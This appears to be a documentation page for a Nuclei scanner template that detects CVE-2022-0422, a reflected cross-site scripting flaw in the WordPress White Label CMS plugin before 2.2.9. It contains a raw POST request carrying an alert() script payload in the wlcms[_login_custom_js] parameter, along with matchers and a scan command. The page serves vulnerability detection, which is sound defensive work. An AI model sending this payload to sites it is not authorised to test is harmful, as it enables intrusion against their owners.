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WordPress White Label CMS <2.2.9 - Cross-Site Scripting

ID: CVE-2022-0422

Severity: medium

Author: random-robbie

Tags: cve2022,cve,wordpress,xss,wp-plugin,wpscan,videousermanuals

Description

Section titled “Description”

WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0422


info:
  name: WordPress White Label CMS <2.2.9 - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
    - https://plugins.trac.wordpress.org/changeset/2672615
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0422
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0422
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:videousermanuals:white_label_cms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: videousermanuals
    product: white_label_cms
    framework: wordpress
  tags: cve2022,cve,wordpress,xss,wp-plugin,wpscan,videousermanuals


http:
  - raw:
      - |
        POST /wp-login.php?wlcms-action=preview HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(/XSS/);"


      - type: word
        part: body
        words:
          - "wlcms-login-wrapper"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100abaeaaedf3a5708d9b0dd1d8e50138a0d0ee4e5cdf8412e191d307d0e3ceabf802201be0b8538345d2b66ead183bab22048f234d580bdcaf5efe09169d8ba7f55dff:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0422.yaml"

View on Github